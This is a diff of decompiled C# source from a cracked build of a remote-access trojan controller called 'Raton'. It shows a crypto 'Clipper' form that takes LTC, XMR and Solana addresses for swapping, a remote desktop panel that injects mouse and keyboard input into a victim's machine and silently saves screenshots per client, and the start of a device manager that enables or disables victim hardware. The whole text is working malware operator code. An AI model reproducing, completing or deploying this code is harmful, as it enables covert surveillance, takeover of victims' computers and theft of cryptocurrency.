this.label3.TabIndex = 7;
|
||||
this.label3.Text = "LTC address";
|
||||
this.textBox4.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.textBox4.Location = new Point(12, 167);
|
||||
this.textBox4.Name = "textBox4";
|
||||
this.textBox4.Size = new Size(514, 23);
|
||||
this.textBox4.TabIndex = 8;
|
||||
this.label4.AutoSize = true;
|
||||
this.label4.Font = new Font("Microsoft JhengHei", 9.75f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label4.Location = new Point(12, 147);
|
||||
this.label4.Name = "label4";
|
||||
this.label4.Size = new Size(87, 17);
|
||||
this.label4.TabIndex = 9;
|
||||
this.label4.Text = "XMR address";
|
||||
this.textBox5.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.textBox5.Location = new Point(12, 213);
|
||||
this.textBox5.Name = "textBox5";
|
||||
this.textBox5.Size = new Size(514, 23);
|
||||
this.textBox5.TabIndex = 10;
|
||||
this.label5.AutoSize = true;
|
||||
this.label5.Font = new Font("Microsoft JhengHei", 9.75f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label5.Location = new Point(12, 193);
|
||||
this.label5.Name = "label5";
|
||||
this.label5.Size = new Size(111, 17);
|
||||
this.label5.TabIndex = 11;
|
||||
this.label5.Text = "SOLANA address";
|
||||
this.AutoScaleDimensions = new SizeF(7f, 15f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(541, 321);
|
||||
this.Controls.Add((Control) this.textBox5);
|
||||
this.Controls.Add((Control) this.label5);
|
||||
this.Controls.Add((Control) this.textBox4);
|
||||
this.Controls.Add((Control) this.label4);
|
||||
this.Controls.Add((Control) this.textBox3);
|
||||
this.Controls.Add((Control) this.label3);
|
||||
this.Controls.Add((Control) this.button1);
|
||||
this.Controls.Add((Control) this.textBox2);
|
||||
this.Controls.Add((Control) this.textBox1);
|
||||
this.Controls.Add((Control) this.label2);
|
||||
this.Controls.Add((Control) this.label1);
|
||||
this.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonClipper);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = "Clipper";
|
||||
this.FormClosing += new FormClosingEventHandler(this.ratonClipper_FormClosing);
|
||||
this.Load += new EventHandler(this.ratonClipper_Load);
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,564 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Monitor.ratonDesktop
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using CustomControls;
|
||||
using DarkModeForms;
|
||||
using Raton.Classes;
|
||||
using Raton.Properties;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Monitor;
|
||||
|
||||
public class ratonDesktop : Form
|
||||
{
|
||||
private bool closing;
|
||||
private IContainer components;
|
||||
private Timer timer1;
|
||||
private Timer timer2;
|
||||
public PictureBox pictureBox1;
|
||||
private MenuStrip menuStrip1;
|
||||
private ToolStripMenuItem toggleConfigurationToolStripMenuItem;
|
||||
private Label label2;
|
||||
private RgbBuildButton button1;
|
||||
private RgbBuildButton button2;
|
||||
private TrackBar trackBar1;
|
||||
public FlatComboBox flatComboBox1;
|
||||
private Label label1;
|
||||
private Label label3;
|
||||
private CustomSwitch checkBox2;
|
||||
private Label label4;
|
||||
private CustomSwitch checkBox1;
|
||||
private CustomSwitch checkBox3;
|
||||
private Panel panel1;
|
||||
private Label label7;
|
||||
private Label label6;
|
||||
private Label label5;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public int FPS { get; set; }
|
||||
|
||||
public object OneByOne { get; set; }
|
||||
|
||||
public Point imageSize { get; set; }
|
||||
|
||||
private List<Keys> keysPressed { get; set; }
|
||||
|
||||
public ratonDesktop()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
this.OneByOne = new object();
|
||||
this.keysPressed = new List<Keys>();
|
||||
}
|
||||
|
||||
private void ratonDesktop_Load(object sender, EventArgs e)
|
||||
{
|
||||
this.Focus();
|
||||
this.KeyPreview = true;
|
||||
this.timer1.Start();
|
||||
this.timer2.Start();
|
||||
this.MouseWheel += new MouseEventHandler(this.MouseWheelHandler);
|
||||
}
|
||||
|
||||
private void ratonDesktop_KeyPress(object sender, KeyPressEventArgs e)
|
||||
{
|
||||
if (!this.checkBox1.Checked || this.button1.Enabled || char.IsControl(e.KeyChar))
|
||||
return;
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "RemoteDesktop");
|
||||
pack.SetString("Command", "KeyboardChar");
|
||||
pack.SetInt("Char", (int) e.KeyChar);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
private void Clickk(int button)
|
||||
{
|
||||
if (!this.checkBox2.Checked || this.button1.Enabled)
|
||||
return;
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "RemoteDesktop");
|
||||
pack.SetString("Command", "MouseClick");
|
||||
pack.SetInt("Button", button);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
private void MouseWheelHandler(object sender, MouseEventArgs e)
|
||||
{
|
||||
if (!this.checkBox2.Checked || this.button1.Enabled)
|
||||
return;
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "RemoteDesktop");
|
||||
pack.SetString("Command", "MouseWheel");
|
||||
pack.SetInt("Delta", e.Delta);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
if (this.InvokeRequired)
|
||||
this.BeginInvoke((Delegate) new Action(((Form) this).Close));
|
||||
else
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void timer2_Tick(object sender, EventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (this.checkBox3.Checked && !this.button1.Enabled)
|
||||
{
|
||||
if (this.pictureBox1.Image == null)
|
||||
return;
|
||||
string str1 = Path.Combine(Program.ClientsFolder, this.SillyClient.uid);
|
||||
Directory.CreateDirectory(str1);
|
||||
string str2 = DateTime.Now.ToString("yyyy-MM-dd_HH-mm-ss");
|
||||
string filename = Path.Combine(str1, $"Desktop_{str2}_{Helpers.Random(2)}.png");
|
||||
lock (this.OneByOne)
|
||||
{
|
||||
if (this.pictureBox1.Image == null)
|
||||
return;
|
||||
using (Bitmap bitmap = new Bitmap(this.pictureBox1.Image))
|
||||
bitmap.Save(filename, ImageFormat.Png);
|
||||
}
|
||||
}
|
||||
this.Text = $"Remote desktop | Client ID: {this.SillyClient.uid} | FPS: {this.FPS}";
|
||||
this.FPS = 0;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Console.WriteLine(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
private void pictureBox1_MouseDown(object sender, MouseEventArgs e)
|
||||
{
|
||||
int button = e.Button == MouseButtons.Left ? 2 : (e.Button == MouseButtons.Right ? 8 : 0);
|
||||
if (button == 0)
|
||||
return;
|
||||
this.Clickk(button);
|
||||
}
|
||||
|
||||
private void pictureBox1_MouseUp(object sender, MouseEventArgs e)
|
||||
{
|
||||
int button = e.Button == MouseButtons.Left ? 4 : (e.Button == MouseButtons.Right ? 16 /*0x10*/ : 0);
|
||||
if (button == 0)
|
||||
return;
|
||||
this.Clickk(button);
|
||||
}
|
||||
|
||||
private void pictureBox1_HelpRequested(object sender, HelpEventArgs hlpevent)
|
||||
{
|
||||
}
|
||||
|
||||
public void StartCapture(int screen)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "RemoteDesktop");
|
||||
pack.SetString("Command", "Start");
|
||||
pack.SetInt("Quality", this.trackBar1.Value);
|
||||
pack.SetInt("Screen", screen);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
public void StopCapture()
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "RemoteDesktop");
|
||||
pack.SetString("Command", "Stop");
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
private void ratonDesktop_HelpButtonClicked(object sender, CancelEventArgs e)
|
||||
{
|
||||
if (this.Tag == (object) "meow")
|
||||
{
|
||||
this.panel1.Visible = false;
|
||||
this.Tag = (object) "aaa";
|
||||
}
|
||||
else
|
||||
{
|
||||
this.Tag = (object) "meow";
|
||||
this.panel1.Visible = false;
|
||||
}
|
||||
}
|
||||
|
||||
private void ratonDesktop_FormClosing(object sender, FormClosingEventArgs e)
|
||||
{
|
||||
if (this.closing)
|
||||
return;
|
||||
this.closing = true;
|
||||
this.timer1.Stop();
|
||||
this.timer2.Stop();
|
||||
this.StopCapture();
|
||||
this.MouseWheel -= new MouseEventHandler(this.MouseWheelHandler);
|
||||
}
|
||||
|
||||
private void button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (this.flatComboBox1.SelectedItem == null || this.flatComboBox1.SelectedText == "No screens :(")
|
||||
{
|
||||
int num = (int) Messenger.MessageBox("No screens detected", "Error", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
|
||||
}
|
||||
else
|
||||
{
|
||||
this.StartCapture(this.flatComboBox1.SelectedIndex);
|
||||
this.button1.Enabled = false;
|
||||
this.button2.Enabled = true;
|
||||
this.flatComboBox1.Enabled = false;
|
||||
this.trackBar1.Enabled = false;
|
||||
this.checkBox1.Enabled = false;
|
||||
this.checkBox2.Enabled = false;
|
||||
this.checkBox3.Enabled = false;
|
||||
this.panel1.Visible = false;
|
||||
}
|
||||
}
|
||||
|
||||
private void button2_Click(object sender, EventArgs e)
|
||||
{
|
||||
this.StopCapture();
|
||||
this.WindowState = FormWindowState.Normal;
|
||||
this.button1.Enabled = true;
|
||||
this.button2.Enabled = false;
|
||||
this.checkBox1.Enabled = true;
|
||||
this.checkBox2.Enabled = true;
|
||||
this.checkBox3.Enabled = true;
|
||||
this.flatComboBox1.Enabled = true;
|
||||
this.trackBar1.Enabled = true;
|
||||
}
|
||||
|
||||
private void ratonDesktop_KeyDown(object sender, KeyEventArgs e)
|
||||
{
|
||||
if (!this.checkBox1.Checked || this.button1.Enabled)
|
||||
return;
|
||||
if (!this.keysPressed.Contains(e.KeyCode))
|
||||
{
|
||||
this.keysPressed.Add(e.KeyCode);
|
||||
if (e.KeyCode == Keys.Back || e.KeyCode == Keys.Tab || e.KeyCode == Keys.Left || e.KeyCode == Keys.Right || e.KeyCode == Keys.Up || e.KeyCode == Keys.Down)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "RemoteDesktop");
|
||||
pack.SetString("Command", "KeyboardClick");
|
||||
pack.SetBool("isKeyDown", true);
|
||||
pack.SetInt("Key", (int) e.KeyCode);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
}
|
||||
e.Handled = true;
|
||||
}
|
||||
|
||||
private void ratonDesktop_KeyUp(object sender, KeyEventArgs e)
|
||||
{
|
||||
if (!this.checkBox1.Checked || this.button1.Enabled)
|
||||
return;
|
||||
this.keysPressed.Remove(e.KeyCode);
|
||||
if (e.KeyCode == Keys.Back || e.KeyCode == Keys.Tab || e.KeyCode == Keys.Left || e.KeyCode == Keys.Right || e.KeyCode == Keys.Up || e.KeyCode == Keys.Down)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "RemoteDesktop");
|
||||
pack.SetString("Command", "KeyboardClick");
|
||||
pack.SetBool("isKeyDown", false);
|
||||
pack.SetInt("Key", (int) e.KeyCode);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
e.Handled = true;
|
||||
}
|
||||
|
||||
private void toggleConfigurationToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (this.Tag == (object) "meow")
|
||||
{
|
||||
this.panel1.Visible = false;
|
||||
this.Tag = (object) "aaa";
|
||||
}
|
||||
else
|
||||
{
|
||||
this.Tag = (object) "meow";
|
||||
this.panel1.Visible = true;
|
||||
}
|
||||
}
|
||||
|
||||
private void pictureBox1_MouseMove(object sender, MouseEventArgs e)
|
||||
{
|
||||
if (!this.checkBox2.Checked || this.button1.Enabled)
|
||||
return;
|
||||
Point point = new Point(e.X * this.imageSize.X / this.pictureBox1.Width, e.Y * this.imageSize.Y / this.pictureBox1.Height);
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "RemoteDesktop");
|
||||
pack.SetString("Command", "MouseMove");
|
||||
pack.SetInt("X", point.X);
|
||||
pack.SetInt("Y", point.Y);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
protected override bool ProcessCmdKey(ref Message msg, Keys keyData)
|
||||
{
|
||||
if (this.checkBox1.Checked && !this.button1.Enabled)
|
||||
{
|
||||
Keys keys = keyData & Keys.KeyCode;
|
||||
switch (keys)
|
||||
{
|
||||
case Keys.Back:
|
||||
case Keys.Tab:
|
||||
case Keys.Return:
|
||||
case Keys.Left:
|
||||
case Keys.Up:
|
||||
case Keys.Right:
|
||||
case Keys.Down:
|
||||
Pack pack1 = new Pack();
|
||||
pack1.SetString("Packet", "RemoteDesktop");
|
||||
pack1.SetString("Command", "KeyboardClick");
|
||||
pack1.SetBool("isKeyDown", true);
|
||||
pack1.SetInt("Key", (int) keys);
|
||||
this.SillyClient.Send(pack1.Pacc());
|
||||
Pack pack2 = new Pack();
|
||||
pack2.SetString("Packet", "RemoteDesktop");
|
||||
pack2.SetString("Command", "KeyboardClick");
|
||||
pack2.SetBool("isKeyDown", false);
|
||||
pack2.SetInt("Key", (int) keys);
|
||||
this.SillyClient.Send(pack2.Pacc());
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return base.ProcessCmdKey(ref msg, keyData);
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonDesktop));
|
||||
this.pictureBox1 = new PictureBox();
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.timer2 = new Timer(this.components);
|
||||
this.menuStrip1 = new MenuStrip();
|
||||
this.toggleConfigurationToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.label2 = new Label();
|
||||
this.button1 = new RgbBuildButton();
|
||||
this.button2 = new RgbBuildButton();
|
||||
this.trackBar1 = new TrackBar();
|
||||
this.flatComboBox1 = new FlatComboBox();
|
||||
this.label1 = new Label();
|
||||
this.label3 = new Label();
|
||||
this.checkBox2 = new CustomSwitch();
|
||||
this.label4 = new Label();
|
||||
this.checkBox1 = new CustomSwitch();
|
||||
this.checkBox3 = new CustomSwitch();
|
||||
this.panel1 = new Panel();
|
||||
this.label7 = new Label();
|
||||
this.label6 = new Label();
|
||||
this.label5 = new Label();
|
||||
((ISupportInitialize) this.pictureBox1).BeginInit();
|
||||
this.menuStrip1.SuspendLayout();
|
||||
this.trackBar1.BeginInit();
|
||||
this.panel1.SuspendLayout();
|
||||
this.SuspendLayout();
|
||||
this.pictureBox1.BackgroundImage = (Image) Resources.Monitor_16x;
|
||||
this.pictureBox1.BackgroundImageLayout = ImageLayout.Center;
|
||||
this.pictureBox1.Dock = DockStyle.Fill;
|
||||
this.pictureBox1.Location = new Point(0, 24);
|
||||
this.pictureBox1.Name = "pictureBox1";
|
||||
this.pictureBox1.Size = new Size(802, 501);
|
||||
this.pictureBox1.SizeMode = PictureBoxSizeMode.StretchImage;
|
||||
this.pictureBox1.TabIndex = 0;
|
||||
this.pictureBox1.TabStop = false;
|
||||
this.pictureBox1.HelpRequested += new HelpEventHandler(this.pictureBox1_HelpRequested);
|
||||
this.pictureBox1.MouseDown += new MouseEventHandler(this.pictureBox1_MouseDown);
|
||||
this.pictureBox1.MouseMove += new MouseEventHandler(this.pictureBox1_MouseMove);
|
||||
this.pictureBox1.MouseUp += new MouseEventHandler(this.pictureBox1_MouseUp);
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.timer2.Interval = 1500;
|
||||
this.timer2.Tick += new EventHandler(this.timer2_Tick);
|
||||
this.menuStrip1.Items.AddRange(new ToolStripItem[1]
|
||||
{
|
||||
(ToolStripItem) this.toggleConfigurationToolStripMenuItem
|
||||
});
|
||||
this.menuStrip1.Location = new Point(0, 0);
|
||||
this.menuStrip1.Name = "menuStrip1";
|
||||
this.menuStrip1.Size = new Size(802, 24);
|
||||
this.menuStrip1.TabIndex = 2;
|
||||
this.menuStrip1.Text = "menuStrip1";
|
||||
this.toggleConfigurationToolStripMenuItem.Image = (Image) Resources.SettingsOutline_16x;
|
||||
this.toggleConfigurationToolStripMenuItem.Name = "toggleConfigurationToolStripMenuItem";
|
||||
this.toggleConfigurationToolStripMenuItem.Size = new Size(146, 20);
|
||||
this.toggleConfigurationToolStripMenuItem.Text = "Toggle configuration";
|
||||
this.toggleConfigurationToolStripMenuItem.Click += new EventHandler(this.toggleConfigurationToolStripMenuItem_Click);
|
||||
this.label2.AutoSize = true;
|
||||
this.label2.Location = new Point(11, 165);
|
||||
this.label2.Name = "label2";
|
||||
this.label2.Size = new Size(91, 15);
|
||||
this.label2.TabIndex = 5;
|
||||
this.label2.Text = "Choose a screen";
|
||||
this.button1.Cursor = Cursors.Arrow;
|
||||
this.button1.Font = new Font("Segoe UI Semibold", 10.5f);
|
||||
this.button1.ForeColor = Color.White;
|
||||
this.button1.Icon = (Image) Resources.ic_fluent_eye_show_24_filled;
|
||||
this.button1.IconSize = 16 /*0x10*/;
|
||||
this.button1.IconSpacing = 8;
|
||||
this.button1.Location = new Point(14, 278);
|
||||
this.button1.Name = "button1";
|
||||
this.button1.Size = new Size(217, 32 /*0x20*/);
|
||||
this.button1.TabIndex = 0;
|
||||
this.button1.Text = "Start";
|
||||
this.button1.Click += new EventHandler(this.button1_Click);
|
||||
this.button2.Cursor = Cursors.Arrow;
|
||||
this.button2.Font = new Font("Segoe UI Semibold", 10.5f);
|
||||
this.button2.ForeColor = Color.White;
|
||||
this.button2.Icon = (Image) Resources.ic_fluent_eye_tracking_on_24_filled;
|
||||
this.button2.IconSize = 16 /*0x10*/;
|
||||
this.button2.IconSpacing = 8;
|
||||
this.button2.Location = new Point(14, 316);
|
||||
this.button2.Name = "button2";
|
||||
this.button2.Size = new Size(217, 32 /*0x20*/);
|
||||
this.button2.TabIndex = 1;
|
||||
this.button2.Text = "Stop";
|
||||
this.button2.Click += new EventHandler(this.button2_Click);
|
||||
this.trackBar1.Location = new Point(14, 227);
|
||||
this.trackBar1.Maximum = 100;
|
||||
this.trackBar1.Name = "trackBar1";
|
||||
this.trackBar1.Size = new Size(217, 45);
|
||||
this.trackBar1.TabIndex = 2;
|
||||
this.trackBar1.Value = 40;
|
||||
this.flatComboBox1.FormattingEnabled = true;
|
||||
this.flatComboBox1.Location = new Point(11, 183);
|
||||
this.flatComboBox1.Name = "flatComboBox1";
|
||||
this.flatComboBox1.Size = new Size(217, 23);
|
||||
this.flatComboBox1.TabIndex = 4;
|
||||
this.label1.AutoSize = true;
|
||||
this.label1.Location = new Point(14, 209);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(45, 15);
|
||||
this.label1.TabIndex = 3;
|
||||
this.label1.Text = "Quality";
|
||||
this.label3.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
|
||||
this.label3.Location = new Point(14, 13);
|
||||
this.label3.Name = "label3";
|
||||
this.label3.Size = new Size(217, 17);
|
||||
this.label3.TabIndex = 8;
|
||||
this.label3.Text = "Manage the settings";
|
||||
this.label3.TextAlign = ContentAlignment.MiddleCenter;
|
||||
this.checkBox2.AutoSize = true;
|
||||
this.checkBox2.Location = new Point(47, 72);
|
||||
this.checkBox2.MinimumSize = new Size(45, 22);
|
||||
this.checkBox2.Name = "checkBox2";
|
||||
this.checkBox2.OffBackColor = Color.Gray;
|
||||
this.checkBox2.OffToggleColor = Color.Gainsboro;
|
||||
this.checkBox2.OnBackColor = Color.FromArgb(105, 245, 142);
|
||||
this.checkBox2.OnToggleColor = Color.WhiteSmoke;
|
||||
this.checkBox2.Size = new Size(45, 22);
|
||||
this.checkBox2.TabIndex = 3;
|
||||
this.checkBox2.UseVisualStyleBackColor = true;
|
||||
this.label4.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label4.Location = new Point(14, 30);
|
||||
this.label4.Name = "label4";
|
||||
this.label4.Size = new Size(217, 36);
|
||||
this.label4.TabIndex = 9;
|
||||
this.label4.Text = "Press the Toggle configuration to open this window again";
|
||||
this.label4.TextAlign = ContentAlignment.TopCenter;
|
||||
this.checkBox1.AutoSize = true;
|
||||
this.checkBox1.Location = new Point(47, 100);
|
||||
this.checkBox1.MinimumSize = new Size(45, 22);
|
||||
this.checkBox1.Name = "checkBox1";
|
||||
this.checkBox1.OffBackColor = Color.Gray;
|
||||
this.checkBox1.OffToggleColor = Color.Gainsboro;
|
||||
this.checkBox1.OnBackColor = Color.FromArgb(105, 245, 142);
|
||||
this.checkBox1.OnToggleColor = Color.WhiteSmoke;
|
||||
this.checkBox1.Size = new Size(45, 22);
|
||||
this.checkBox1.TabIndex = 4;
|
||||
this.checkBox1.UseVisualStyleBackColor = true;
|
||||
this.checkBox3.AutoSize = true;
|
||||
this.checkBox3.Location = new Point(47, 128 /*0x80*/);
|
||||
this.checkBox3.MinimumSize = new Size(45, 22);
|
||||
this.checkBox3.Name = "checkBox3";
|
||||
this.checkBox3.OffBackColor = Color.Gray;
|
||||
this.checkBox3.OffToggleColor = Color.Gainsboro;
|
||||
this.checkBox3.OnBackColor = Color.Red;
|
||||
this.checkBox3.OnToggleColor = Color.WhiteSmoke;
|
||||
this.checkBox3.Size = new Size(45, 22);
|
||||
this.checkBox3.TabIndex = 5;
|
||||
this.checkBox3.UseVisualStyleBackColor = true;
|
||||
this.panel1.Controls.Add((Control) this.label7);
|
||||
this.panel1.Controls.Add((Control) this.label6);
|
||||
this.panel1.Controls.Add((Control) this.label5);
|
||||
this.panel1.Controls.Add((Control) this.checkBox3);
|
||||
this.panel1.Controls.Add((Control) this.checkBox1);
|
||||
this.panel1.Controls.Add((Control) this.label4);
|
||||
this.panel1.Controls.Add((Control) this.checkBox2);
|
||||
this.panel1.Controls.Add((Control) this.label3);
|
||||
this.panel1.Controls.Add((Control) this.label1);
|
||||
this.panel1.Controls.Add((Control) this.flatComboBox1);
|
||||
this.panel1.Controls.Add((Control) this.trackBar1);
|
||||
this.panel1.Controls.Add((Control) this.button2);
|
||||
this.panel1.Controls.Add((Control) this.button1);
|
||||
this.panel1.Controls.Add((Control) this.label2);
|
||||
this.panel1.Location = new Point(0, 24);
|
||||
this.panel1.Name = "panel1";
|
||||
this.panel1.Size = new Size(247, 362);
|
||||
this.panel1.TabIndex = 1;
|
||||
this.label7.AutoSize = true;
|
||||
this.label7.Location = new Point(96 /*0x60*/, 131);
|
||||
this.label7.Name = "label7";
|
||||
this.label7.Size = new Size(87, 15);
|
||||
this.label7.TabIndex = 12;
|
||||
this.label7.Text = "Start Recording";
|
||||
this.label6.AutoSize = true;
|
||||
this.label6.Location = new Point(96 /*0x60*/, 103);
|
||||
this.label6.Name = "label6";
|
||||
this.label6.Size = new Size(99, 15);
|
||||
this.label6.TabIndex = 11;
|
||||
this.label6.Text = "Control Keyboard";
|
||||
this.label5.AutoSize = true;
|
||||
this.label5.Location = new Point(96 /*0x60*/, 75);
|
||||
this.label5.Name = "label5";
|
||||
this.label5.Size = new Size(85, 15);
|
||||
this.label5.TabIndex = 10;
|
||||
this.label5.Text = "Control Mouse";
|
||||
this.AutoScaleMode = AutoScaleMode.None;
|
||||
this.ClientSize = new Size(802, 525);
|
||||
this.Controls.Add((Control) this.panel1);
|
||||
this.Controls.Add((Control) this.pictureBox1);
|
||||
this.Controls.Add((Control) this.menuStrip1);
|
||||
this.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.HelpButton = true;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.KeyPreview = true;
|
||||
this.MainMenuStrip = this.menuStrip1;
|
||||
this.Name = nameof (ratonDesktop);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonDesktop);
|
||||
this.HelpButtonClicked += new CancelEventHandler(this.ratonDesktop_HelpButtonClicked);
|
||||
this.FormClosing += new FormClosingEventHandler(this.ratonDesktop_FormClosing);
|
||||
this.Load += new EventHandler(this.ratonDesktop_Load);
|
||||
this.KeyDown += new KeyEventHandler(this.ratonDesktop_KeyDown);
|
||||
this.KeyPress += new KeyPressEventHandler(this.ratonDesktop_KeyPress);
|
||||
this.KeyUp += new KeyEventHandler(this.ratonDesktop_KeyUp);
|
||||
((ISupportInitialize) this.pictureBox1).EndInit();
|
||||
this.menuStrip1.ResumeLayout(false);
|
||||
this.menuStrip1.PerformLayout();
|
||||
this.trackBar1.EndInit();
|
||||
this.panel1.ResumeLayout(false);
|
||||
this.panel1.PerformLayout();
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,213 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Monitor.ratonDevice
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using DarkModeForms;
|
||||
using Raton.Classes;
|
||||
using Raton.Properties;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Monitor;
|
||||
|
||||
public class ratonDevice : Form
|
||||
{
|
||||
internal TreeView treeDevices;
|
||||
private IContainer components;
|
||||
public TreeView treeView1;
|
||||
private ContextMenuStrip contextMenuStrip1;
|
||||
private ToolStripMenuItem enableDeviceToolStripMenuItem;
|
||||
private ToolStripMenuItem disableDeviceToolStripMenuItem;
|
||||
private ToolStripMenuItem updateControllerToolStripMenuItem;
|
||||
private ToolStripMenuItem refreshToolStripMenuItem;
|
||||
private Timer timer1;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonDevice()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void ratonDevice_Load(object sender, EventArgs e)
|
||||
{
|
||||
this.SetupTreeView();
|
||||
this.InitializeDeviceCategories();
|
||||
this.RequestRefresh();
|
||||
this.timer1.Start();
|
||||
}
|
||||
|
||||
private void SetupTreeView()
|
||||
{
|
||||
this.treeDevices = this.treeView1;
|
||||
this.treeDevices.HideSelection = false;
|
||||
this.treeDevices.ShowNodeToolTips = true;
|
||||
this.treeDevices.AfterSelect -= new TreeViewEventHandler(this.TreeDevices_AfterSelect);
|
||||
this.treeDevices.AfterSelect += new TreeViewEventHandler(this.TreeDevices_AfterSelect);
|
||||
}
|
||||
|
||||
private void InitializeDeviceCategories()
|
||||
{
|
||||
this.treeDevices.Nodes.Clear();
|
||||
string[] strArray = new string[13]
|
||||
{
|
||||
"Processors",
|
||||
"Display adapters",
|
||||
"Network adapters",
|
||||
"Disk drives",
|
||||
"USB controllers",
|
||||
"Audio inputs and outputs",
|
||||
"Keyboards",
|
||||
"Mouse and other pointing devices",
|
||||
"Bluetooth",
|
||||
"Cameras",
|
||||
"System devices",
|
||||
"Sensors",
|
||||
"Software devices"
|
||||
};
|
||||
foreach (string text in strArray)
|
||||
this.treeDevices.Nodes.Add(new TreeNode(text)
|
||||
{
|
||||
Name = text
|
||||
});
|
||||
}
|
||||
|
||||
public void RequestRefresh()
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "DeviceRequest");
|
||||
pack.SetString("Action", "GetDevices");
|
||||
pack.SetString("DeviceId", "");
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
private void SendDeviceAction(string action)
|
||||
{
|
||||
